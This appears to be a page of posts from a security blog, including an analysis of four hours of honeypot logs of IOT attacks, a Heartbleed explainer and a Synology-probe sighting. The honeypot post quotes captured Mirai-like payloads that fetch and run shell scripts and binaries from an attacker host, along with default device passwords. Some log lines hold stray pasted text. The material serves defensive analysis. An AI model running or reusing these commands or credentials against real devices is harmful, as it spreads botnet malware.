About James Klun

Eldergeek - 30+ years of Mainframe/Unix/etc systems programming, administration, and technical management. 15+ years of Infosec. Endless amounts of what might pass for English prose. "We have met the enemy, and he is us": http://en.wikiquote.org/wiki/Walt_Kelly

The Golden Rule and Security Staffing: Treat others’ data as you would your own

Since I began working at MSI several years ago I have been able to study the behaviors of organizations of various sizes in terms of information security.

Sort of a forced march through  “infosec cyber-anthropology”.

One thing that has always surprised me is the number of comparatively large organizations – often ones with significant IT staffing in the form of networking, database and sysadmin staff – who do NOT have dedicated security staff.

This to me is a lot like expecting the postmen,  utility crews, trash workers, and all the rest of the specialist priesthood that keeps our immediate environment working, to also pick up the slack and do police work on the side.

As in all bureaucracies, IT staff can be very turf-conscious. In some cases the hiring of dedicated security staff is clearly actively resisted by existing groups. Threatened sysadmins will claim that they can handle any security issues – often as long as they have the right tools. And that plays into the “magical thinking” that security product vendors are quite willing to cultivate in the minds of management: “Don’t hire people – buy my stuff!  Burn enough money on my altar and the evil will be held at bay.”

I believe strongly this is the road to hell – or at least career death for executive management when the inevitable breach occurs.

Ask those Equifax execs.

Gardens need gardeners. Your information security environment will be an illusion if there are not people who truly care about it and feel a moral obligation to protect your organization and the information that customers entrust to you. That obligation includes questioning things as they supposedly are and not believing that what your SIEM says is necessarily the truth.

No “managed security services provider” is going to do this for you. Only loyal, engaged and actively concerned staff who have a clear sense of local mission can provide such care.

It is a level of care you would want for yourself and for your family.

Provide it to your customers.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Beyond the firewall – 4 hours of recorded attacks against IOT devices

The graph below shows a distribution, by country, of the attacks seen by a laptop exposed to the open Internet for 4 hours on July 23, 2017.  TCP 23 (telnet) and TCP 1433 (MSSQL) were exposed and attack payloads directed against those services were recorded by honeypots running on those ports. All attacks are listed below together with a discussion of two particular IOT (Internet of Things)  attacks.

The laptop exposure was inadvertent and possibly related to Universal Plug and Play (UPNP) being enabled on the home router.  The laptop happened to be running an HPSS honeypoint agent with fake listeners on several common service ports. The agents send alerts to a central console that records information about the attack in a database and optionally writes to a log.  Those log entries are provided at the end of this post.

Here’s the net message:

Attacks against unsecured IOT devices are a reality – and they are happening right at the Internet boundary of your own home or business.

Do you have an IP-enabled home video camera or similar device?  See if it is on this list of devices known to be attacked:

https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/

Note that events similar to those described below can – and do – happen within the firewall. See our previous post on the use of honeypots to detect the spread of malware within the private internal space of an organization.

If you are not already using some form of honeypot as part of your IDS strategy, consider doing so. They are normally quiet watchdogs – but when they do bark, there really is something going on you need to know about.

==> Oh.. and UPNP?  If that’s enabled on your home router, TURN IT OFF!

Netgear: http://netgear-us.custhelp.com/app/answers/detail/a_id/22686/~/how-to-disable-the-upnp-feature-on-your-netgear-router

Linksys: https://www.linksys.com/us/support-article?articleNum=135071

ASUS:  https://www.ghacks.net/2015/03/24/secure-you-wireless-router/


Here are the details of the attacks seen during that 4-hour window:

The sources of attacks were diverse by country of origin. The attacking systems were almost certainly compromised systems being used by the attackers without the owners awareness, although state-sponsored activity cannot be ruled out.

  • Here is one item of interest:

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015

  • The attacker IP (1.30.116.116 ) is registered in China/Mongolia.

inetnum: 1.24.0.0 – 1.31.255.255
netname: UNICOM-NM
descr: China unicom InnerMongolia province network

  • The attacker is attempting to cause the targeted victim machine to download and execute a shell script

wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh;

  • 185.165.29.111 – the source of the script – is an IP associated with Germany.

inetnum: 185.165.29.0 – 185.165.29.255
netname: AlmasHosting
country: DE

  • The few IP’s with reverse DNS in that /24 are associated with Iran (.ir domain).

host.mlsending.ir (185.165.29.58)
host.mlsender.ir (185.165.29.59)
host.madstoreml.ir (185.165.29.80)

  • Heckz.sh is associated with known malware

https://virustotal.com/en/file/5a5183c1f5fdab92e15f64f18c15a390717e313a9f049cd9de4fbb3f3adc4008/analysis/

  • The shell script – if successfully downloaded and executed , runs

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/mba; chmod +x mba; ./mba; rm -rf mba
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ebs; chmod +x ebs; ./ebs; rm -rf ebs
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ew; chmod +x ew; ./ew; rm -rf ew
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/aw; chmod +x aw; ./aw; rm -rf aw
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ftr; chmod +x ftr; ./ftr; rm -rf ftr
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/er; chmod +x er; ./er; rm -rf er
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/re; chmod +x re; ./re; rm -rf re
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ty; chmod +x ty; ./ty; rm -rf ty
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/ke; chmod +x ke; ./ke; rm -rf ke
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/as; chmod +x as; ./as; rm -rf as
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/fg; chmod +x fg; ./fg; rm -rf fg
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/sddf; chmod +x sddf; ./sddf; rm -rf sddf
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/tel; chmod +x tel; ./tel; rm -rf tel

  • The “ew” program is known malware…..

https://virustotal.com/en/file/9685eeef4b7b25871f162d0050c9a9addbcba1df464e25cf3dce66f5653ebeca/analysis/

  • …and likely is associated with a variant of this botnet’s infrastructure:

https://en.wikipedia.org/wiki/Mirai_(malware)

  • Here’s another entry of interest

Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015

  • On the central console this shows as:

  • This is an attempted attack against a specific Chinese vendor’s (XiongMai Technologies) firmware using a login/password that is embedded in that firmware

https://krebsonsecurity.com/2016/10/europe-to-push-new-security-rules-amid-iot-mess/


Summary:

An unfortunate event, for sure. Still, the presence of honeypots on the targeted machine allowed us to capture real-world attack data and learn something of the reality of life beyond the firewall.  The Mirai botnet malware – and its variants – go from being something read about to something actually seen.

Always useful for understanding threats and planning meaningful defense.


The data:

Here are the raw log entries of attacks seen over the 4 hour exposure interval. The ones discussed above and some others of interest in bold.

Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:42:47 Alert Data: Connection Received
Jul 23 19:42: hpoint-2371 received an alert from: 1.30.116.116 on port 23 at 2017-08-06 19:43:02 Alert Data: sh#015#012cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.165.29.111/heckz.sh; chmod 777 heckz.sh; sh heckz.sh; tftp 185.165.29.111 -c get troute1.sh; chmod 777 troute1.sh; sh troute1.sh; tftp -r troute2.sh -g 185.165.29.111; chmod 777 troute2.sh; sh troute2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.165.29.111 troute.sh troute.sh; sh troute.sh; rm -rf heckz.sh troute.sh troute1.sh troute2.sh; rm -rf *#015
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:55 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:43: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:43:56 Alert Data: Connection Received
Jul 23 19:45: hpoint-2371 received an alert from: 222.174.243.134 on port 1433 at 2017-08-06 19:45:36 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:46: hpoint-2371 received an alert from: 38.133.25.167 on port 23 at 2017-08-06 19:46:42 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:28 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:38 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:39 Alert Data: Connection Received
Jul 23 19:49: hpoint-2371 received an alert from: 110.81.178.253 on port 1433 at 2017-08-06 19:49:50 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 19:57: hpoint-2371 received an alert from: 70.79.76.209 on port 23 at 2017-08-06 19:57:21 Alert Data: Connection Received
Jul 23 20:00: hpoint-2371 received an alert from: 222.96.190.71 on port 23 at 2017-08-06 20:00:04 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection ReceivedASUS:
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:34 Alert Data: Connection Received
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:53 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:03: hpoint-2371 received an alert from: 76.122.32.157 on port 23 at 2017-08-06 20:03:56 Alert Data: root#015#01212345#015#012enable#015
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:22 Alert Data: Connection Received
Jul 23 20:08: hpoint-2371 received an alert from: 114.234.164.43 on port 23 at 2017-08-06 20:08:44 Alert Data: root#015#012zlxx.#015#012enable#015
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:05 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:15 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:16 Alert Data: Connection Received
Jul 23 20:20: hpoint-2371 received an alert from: 210.51.166.39 on port 1433 at 2017-08-06 20:20:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:46: hpoint-2371 received an alert from: 103.253.183.107 on port 23 at 2017-08-06 20:46:31 Alert Data: Connection Received
Jul 23 20:48: hpoint-2371 received an alert from: 119.186.47.97 on port 23 at 2017-08-06 20:48:00 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:15 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at ASUS:2017-08-06 20:50:26 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:26 Alert Data: Connection Received
Jul 23 20:50: hpoint-2371 received an alert from: 218.64.120.62 on port 1433 at 2017-08-06 20:50:37 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 21:07: hpoint-2371 received an alert from: 113.53.91.152 on port 23 at 2017-08-06 21:07:14 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 192.249.135.180 on port 23 at 2017-08-06 21:12:15 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:53 Alert Data: Connection Received
Jul 23 21:12: hpoint-2371 received an alert from: 217.107.124.39 on port 23 at 2017-08-06 21:12:57 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 21:17: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:17:51 Alert Data: Connection Received
Jul 23 21:18: hpoint-2371 received an alert from: 177.7.234.203 on port 23 at 2017-08-06 21:18:12 Alert Data: root#015#01212345#015#012enable#015
Jul 23 21:51: hpoint-2371 received an alert from: 85.56.128.151 on port 23 at 2017-08-06 21:51:06 Alert Data: Connection Received
Jul 23 21:54: hpoint-2371 received an alert from: 24.212.74.182 on port 23 at 2017-08-06 21:54:45 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:35 Alert Data: Connection Received
Jul 23 22:03: hpoint-2371 received an alert from: 200.101.92.79 on port 23 at 2017-08-06 22:03:58 Alert Data: guest#015#01212345#015#012enable#015
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.here’s the b201.182 on port 1433 at 2017-08-06 22:11:48 Alert Data: Connection Received
Jul 23 22:11: hpoint-2371 received an alert from: 60.171.201.182 on port 1433 at 2017-08-06 22:11:59 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:20: hpoint-2371 received an alert from: 31.163.178.165 on port 23 at 2017-08-06 22:20:07 Alert Data: guest#015#012guest#015#012enable#015
Jul 23 22:27: hpoint-2371 received an alert from: 91.122.218.139 on port 23 at 2017-08-06 22:27:09 Alert Data: Connection Received
Jul 23 22:35: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:35:53 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:22 Alert Data: Connection Received
Jul 23 22:36: hpoint-2371 received an alert from: 114.101.1.80 on port 23 at 2017-08-06 22:36:39 Alert Data: root#015#012xc3511#015#012enable#015#012system#015#012shell#015#012sh#015
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:17 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:28 Alert Data: Connection Received
Jul 23 22:43: hpoint-2371 received an alert from: 41.231.53.51 on port 1433 at 2017-08-06 22:43:39 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 22:53: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:53:36 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 187.160.67.74 on port 23 at 2017-08-06 22:54:09 Alert Data: enable#015#012system#015#012shell#015#012sh#015#012cat /proc/mounts; /bin/busybox JBQVI#015
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:19 Alert Data: Connection Received
Jul 23 22:54: hpoint-2371 received an alert from: 36.239.158.149 on port 23 at 2017-08-06 22:54:41 Alert Data: root#015#01212345#015#012enable#015
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:35 Alert Data: Connection Received
Jul 23 22:57: hpoint-2371 received an alert from: 70.89.64.58 on port 23 at 2017-08-06 22:57:57 Alert Data: root#015#012xc3511#015#012enable#015
Jul 23 23:02: hpoint-2371 received an alert from: 97.107.83.42 on port 23 at 2017-08-06 23:02:28 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:30 Alert Data: Connection Received
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:40 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:02: hpoint-2371 received an alert from: 1.30.218.39 on port 1433 at 2017-08-06 23:02:44 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 23:19:20 Alert Data: Connection Received
Jul 23 23:19: hpoint-2371 received an alert from: 54.145.111.48 on port 443 at 2017-08-06 ASUS:23:19:23 Alert Data: Non-ASCII Data Detected in Received Data.
Jul 23 23:23: hpoint-2371 received an alert from: 109.96.99.66 on port 23 at 2017-08-06 23:23:37 Alert Data: Connection Received

Worm detection with HoneyPoint Security Server (HPSS): A real world example

This post describes a malware detection event that I actually experienced a few short years ago.

My company (Company B) had been acquired by a much larger organization (Company A) with a very large internal employee desktop-space. A desktop-space larger than national boundaries.

We had all migrated to Company A  laptops – but our legacy responsibilities required us to maintain systems in the original IP-space of company B.  We used legacy Company B VPN for that.

I had installed the HPSS honeypoint agent on my Company A laptop prior to our migration into their large desktop space.  After migration I was routinely VPN’ed into legacy Company B space, so a regular pathway for alerts to reach the console existed.

After a few months, the events shown in the diagram below occurred.

I started to receive email alerts directed to my Company B legacy email account. The alerts described TCP 1433 scans that my Company A laptop was receiving.  The alerts were all being thrown by the MSSQL (TCP 1433 – Microsoft SQL Server) HoneyPoint listener on my laptop.

I was confused – partly because I had become absorbed in post-acquisition activities and had largely forgotten about the HPSS agent running on my laptop.

After looking at the emails and realizing what was happening, I got on the HPSS console and used the HPSS event viewer to get details. I learned that the attackers were internal within Company A space. Courtesy of HPSS I had their source IP addresses and the common payload they all delivered.  Within Company A I gathered information via netbios scans of the source IPs.  The infected machines were all Company A laptops belonging to various non-technical staff on the East Coast of the U.S.

All of that got passed on to the Company A CIO office. IDS signatures were generated, tweaked, and eventually the alerts stopped.  I provided payload and IP information from HPSS throughout the process.

I came away from the experience with a firm belief that company laptops, outfitted with HoneyPoint agents, are an excellent way of getting meaningful detection out into the field.

I strongly recommend you consider something similar. Your organization’s company laptops are unavoidably on the front-line of modern attacks.

Use them to your advantage.

 

 

The Devil You Think You Know: Risks from Third Party Infrastructure

All modern information infrastructure tends to be an amalgam of stuff you built, other people’s stuff you know you use, and hidden stuff that you are unwittingly dependent on ( yours or someone else’s).

This blog entry is about part of that middle ground – on-premise services that you pay for and are integral to your operation but are in fact built and managed by a third party with whom you have a contractual relationship.

It’s based on my actual experience of late.

Here’s the nut: Any vendor who has a presence within your infrastructure that they manage may have connectivity into that infrastructure that you are unaware of.

The vendor’s infrastructure and yours may effectively be one thing.

The example:

Unplanned Connectivity

The company knew that the vendor had used the provided contractor VPN access at one time.  They had used it to set up their equipment initially.  What they did not know was that part of that set-up routinely involved the establishment of outbound site-to-site VPN tunnels from the vendor’s equipment to the vendor’s datacenter.  Those connections were built at boot time and maintained.  Vendor staff used that VPN access to get to their equipment and, if needed, from their equipment to the company equipment that they provided services for.  There was no company-accessible audit trail.  No log.

Under these conditions, the vendor and the company infrastructure are effectively one.  A compromise of the vendor is a compromise of the company.

What to do?

  • doveryai no proveryai:   It’s an old saw at this point, but always true.   “Trust, but verify”.  That trust may not just be of the vendor.  It may be of your own upper management who engineered the deal.  That can be a tough,  particularly if you are calling into question arrangements that have already been made.   But you didn’t choose this career because it was easy.   Read the doc, ask the questions, get the answers in writing.
  • Egress Filtering: You should control what traffic leaves your enterprise. Strict egress filtering rules would have denied that outbound VPN connection described above.  A daily report of such denies would alert staff to the attempt – and start the necessary round of questions.
  • Monitor your outbound traffic:  Know what’s normal.  You should be generating daily reports from your network logs and from all other intermediary devices (e.g. proxies) about outbound communication sessions – particularly ones of long duration and consistent external IP address targets.  Know what radiates out!
  • Watch your VPN logs:  The vendor stopped using company VPN once it was no longer needed.  VPN access logs would have recorded that cessation. That was an anomaly that should have been called out.  The implication is the company VPN logs were not being analyzed and reported on.  You need to know what normal traffic is for your front door.

Finally: There was nothing intentionally malicious about the vendor’s actions in the example cited.  The vendor techs were just doing their job.

It’s your job to question theirs.

 

 

How I learned to quit worrying and love the NSA

 

And I have….

The film “Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb” is a 60’s era satire on the cold war. A fantastic Peter Sellers / Stanley Kubrick film that I heartily recommend.

Armageddon is unleashed and the world is about to be fried by automatic nuclear retaliation doomsday devices.

But for some there is a positive spin. Quoting from the Wikipedia article:

 

“..within ten months of the activation of the doomsday device, the surface of the earth will be uninhabitable. Dr. Strangelove recommends that the President gather several hundred thousand people, with a female-to-male ratio of 10 to 1, to live in deep mineshafts in order to escape the radiation, and to then institute a breeding program to allow the United States to repopulate the surface after a hundred years have passed.”

So – an alternate definition of the 1% (male, of course) who may have reason to “love” the bomb.

I was at a recent ISSA conference here in Columbus, Ohio and of course the topic of NSA spying activities came up in one of the presentations. And of course they are frightening – particular to me as an American with a fundamental belief in personal privacy and individual rights. The notion of an American agency with a pervasive presence in network infrastructure around the planet was unsettling.

But then I thought of Dr. Stangelove… and Rhode Island and Alabama.

Imagine if every coastal state of the United States was independently responsible for coastal defense.

Texas’s navy would be brimming with every conceivable missile, rocket, ship and plane… Rhode Island and Alabama… maybe not so much. As a naval commander planning an invasion I would avoid Texas. After we invaded Alabama we’d work our way over to Texas.

And that’s pretty much where we are as a nation when it comes to cyber-defense.

Like it or not, it may be time to stop worrying and accept that the NSA – or whatever it mutates into – is required in this new world we have hurriedly constructed to coordinate the defense of America’s Internet boundary. By that I mean pervasive monitoring for cyberattack, and federal building and zoning codes for all new construction.

The concept of “nation” is being redefined – it extends beyond the physical frontier. If we do not rely on a central agency to coordinate the defense of our new frontier…. well, they’ll always be an Alabama or Rhode Island. Or maybe an HVAC vendor with unintended access to your point of sale systems.

So quit worrying and accept the fact that the “pornography delivery system” of the Internet that has now evolved into something we have made integral to our lives requires a national defense organization.

Put on your cowboy hat, America, and embrace your fear. Learn to love the NSA.

To quote Slim Pickens in Dr. Stangelove as he makes that grand nuclear descent….. Yee Haw!

Dr._Strangelove_-_Riding_the_Bomb

 Note: Looks like the title I chose is something of a pre-existing meme.

Google: “How I learned to quit worrying and love the NSA”

The hive mind resonates.

Heartbleed: Picking your pocket 64k bytes at a time

 

By now most of you have likely heard of the recently announced coding error in some versions OPENSSL that can expose sensitive information stored in memory to any Internet attacker.   I want to take a moment to consolidate some of the things I’ve learned about it over the last week and provide my – hopefully correct – answers to some of the questions I’ve been asked. I’ve placed a companion audio commentary here.

1)  It’s real – and serious.  Blocks of memory data can be retrieved by anyone. 

Below is a snapshot of what an exploit of an actual vulnerable Internet-facing system revealed to me – simply by connecting to to the site and taking advantage of the vulnerability (no login/password or other credentials required). 

heartbleed2

That “PHPSESSID” string is associated with a “session id” – a string established to indicate the associated user is logged in. By collecting enough memory you can obtain the full session id of the logged in user. You then insert it in your own browser environment, point your browser at the site, and potentially “hijack” the session. You are now logged in as that user.  Anything stored in memory is potentially retrievable as a result of this vulnerability  – including login credentials and private keys.  

2) What IS OPENSSL itself?

OPENSSL is a collection of open-source software widely used by many applications, both free and commercial, to provide secure SSL-based communications of sensitive information over a network. 

Quoting from the OPENSSL project site:

“The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured, and Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library”

Short answer:

For a lot of the sites you have logged into over the last few years, its what is making the “s”  ( for “secure”) in https://<yourbankingsite.com>  possible.

Software applications can use OPENSSL to ensure that the connection between your browser and the website is encrypted.   It’s used for more than just that – but that usage is the one most people have direct experience with.   Whenever an application needs to communicate over an encrypted path, affected versions of OPENSSL may be in play. Think FTPS (encrypted FTP), SMTPS (encrypted mail), etc.

If yours is a large and diverse organization, the affected versions of OPENSSL are almost certainly present.

3) Only specific versions of OPENSSL are affected

From the OPENSSL project sites advisory:

“Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.”  

4) A fairly large number of systems are affected – 17% of Internet sites.

Internet web-sites using open-source web servers like Apache and such can be affected.  That is what I have primarily seen on the Internet. Windows systems are less likely to directly affected – but could be indirectly affected if an intervening web proxy that handles the SSL part is between the attacker an the Windows server.

But note this:  Client systems can also be affected. And by “client” I mean your PC or smart-phone or your internal applications that communicate out to third-party systems via SSL (e.g  https ).  Any of these that use affected versions of OPENSSL may be affected.  See:  http://www.theregister.co.uk/2014/04/10/many_clientside_vulns_in_heartbleed_says_sans/

5)   What’s actually happening?  

The affected versions of OPENSSL have a piece of functionality called “Heartbeat”.    The intent was to allow two systems that have established a secure SSL-based connection to maintain an awareness of one another during the connection.  An “are you there?” heartbeat request can be initiated by either side of the connection to ensure the other side is still up.  Blocks of of data are sent back and forth during the process.   As a result of a coding error in the implementation of the heartbeat check, one side or the other of the connection can specify a larger block than they actually send.  The coding error causes the responder to reply back with a block as large as what the requester claimed. So: I’ll claim to send you 64K bytes of data as part of the heartbeat but only actually send 1byte.   You’ll send me back 64K bytes.  The first byte is what I sent you – the remaining 64K bytes are random portions of YOUR memory – stuff I should never see.   That’s what you are seeing in the image that starts this post.

Here’s an amusing cartoon that explains it nicely: http://xkcd.com/1354/

Note that either side of the “secure” connection can play this game.  Attackers can harvest memory from vulnerable servers, and malicious servers can harvest memory from clients.

6)  What do I do? 

The vulnerability was just recently disclosed – but its been in place for 2 years!.   You must assume that it has been exploited by attackers for at least months and – worst case – for 2 years.   Not good.  Even sites that are fixed now may have had the flaw – and been exploited – during that period. 

For general users:

    • Check to see if the “sensitive” sites you login into are patched. But remember that just because a site is OK now does not mean it was 6 months ago.  Here are some testing sites: 

http://lastpass.com/heartbleed/
http://filippo.io/Heartbleed/
http://possible.lv/tools/hb/
https://www.ssllabs.com/ssltest/

    • For sites that have patched, change your passwords now. They may have been stolen. No panic – just get it done over the next week or so.
    • Do not use the same login and password on sensitive sites as you use for “throwaway” sites.   This is a common mistake.  Attackers will check to see if that password you use for trivial sites is the same as the one you use for banking. 
    • Make sure your mobile devices ( Android-based systems in particular) are patched.
    • As with every “Internet event” – watch out for phishing campaigns that attempt you to get to download “fixes” for the problem or encourage you to visit unknown “https” sites.  Attackers will attempt to capitalize on fear and confusion.

For developers and system administrators:

  •  All: Look for the presence of the vulnerable versions of OPENSSL in your environment and in any business partner environment that your application connects to.  Anywhere you rely on SSL-based encryption for security inbound OR outbound. Make sure that your business partners are on top of this.  They may need to issue new certificates after they patch affected systems. 
  • Developers: 
    • Check to see if you are using a vulnerable version of OPENSSL in your code.  If so, move to a safe version or recompile with “-DOPENSSL_NO_HEARTBEATS” . Then DEPLOY!
  • SysAdmins: 
    • Both nmap and Nessus have reliable tests for the vulnerability.  Use these tests now to root out all instances of the vulnerability.  Scan ALL ports, not just TCP 443.  Start with your Internet perimeter and all your business partner and customer-exposed systems first – then inside.  Upgrade OPENSSL or at least disable the heartbeat check on all affected systems. 
    • For systems that are exposed to the Internet that were affected, install new certificates.  The potential for the compromise of the private key portion of your certificates is real – and could have happened some time ago.
    • Ask your business partners what they are doing. Make sure they are aware and are acting.
    • See if your load balancers or web proxies can help.  If you use such devices to terminate SSL at your boundary, they can potentially be used to protect against incoming Heartbleed attacks.  Talk to your vendor!

Microsolved has the ability to quickly examine your environment for the presence of Heartbleed and a host of other problems common to our brave new digital word.  If you need help, we can be there for you. 

Questions?  info@microsolved.com

Additional sources of information:

http://www.databreachtoday.com/heartbleed-bug-what-you-need-to-know-a-6730

https://www.eff.org/deeplinks/2014/04/bleeding-hearts-club-heartbleed-recovery-system-administrators

http://heartbleed.com/

http://www.us-cert.gov/security-publications/Heartbleed-OpenSSL-Vulnerability

https://isc.sans.edu/diary/How+to+talk+to+your+kids+about+%22Heartbleed%22/17943

 

 

 

 

 

Home HPSS detection of SANS topic: “More Device Malware: This is why your DVR attacked my Synology Disk Station (and now with Bitcoin Miner!)”

One of the SANS topics discussed in March and early April caught my attention recently: 

See:

More Device Malware: This is why your DVR attacked my Synology Disk Station (and now with Bitcoin Miner!

Quote from the link:

 “Update:Just found what looks like a bitcoin miner on the infected DVR. There are two more binaries. D72BNr, the bitcoin miner (according to the usage info based on strings) and mzkk8g, which looks like a simplar http agent, maybe to download additional tools easily (similar to curl/wget which isn’t installed on this DVR by default). I will add these two files to https://isc.sans.edu/diaryimages/hikvision.zip shortly.

Last week, we reported that some of the hosts scanning for port 5000 are DVRs (to be more precise: Hikvision DVRs, commonly used to record video from surveillance cameras [1] ).”

Basically what is claimed is that compromised video equipment (HIKVISION) is scanning TCP 5000 looking for network attached storage devices (SYNOLOGY) that have a flaw:  http://www.scip.ch/en/?vuldb.10255
And also – that the compromised video equipment has had bitcoin mining software installed.  Nice touch. 

I have an Internet-facing honeypoint listening on TCP 5000 – I did it out of curiosity.

Got this within 30 minutes

satori received an alert from 177.206.XXX.XXX at 2014-03-31 18:18:45 on port 5000
Alert Data: GET /webman/info.cgi?host= HTTP/1.0
Host: 71.XXX.XXX.XXX:5000
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Then I took a look at: 177.206.XXX.XXX  ( IP is in Brazil )

PORT      STATE    SERVICE
21/tcp    open     ftp
23/tcp    open     telnet
443/tcp   open     https
554/tcp   open     rtsp
990/tcp   open     ftps
8001/tcp  open     vcom-tunnel

Screenshot of the site – below: 

Hikvision

Here is the html source for the page: 

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
    “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html>
<head>
    <title></title>
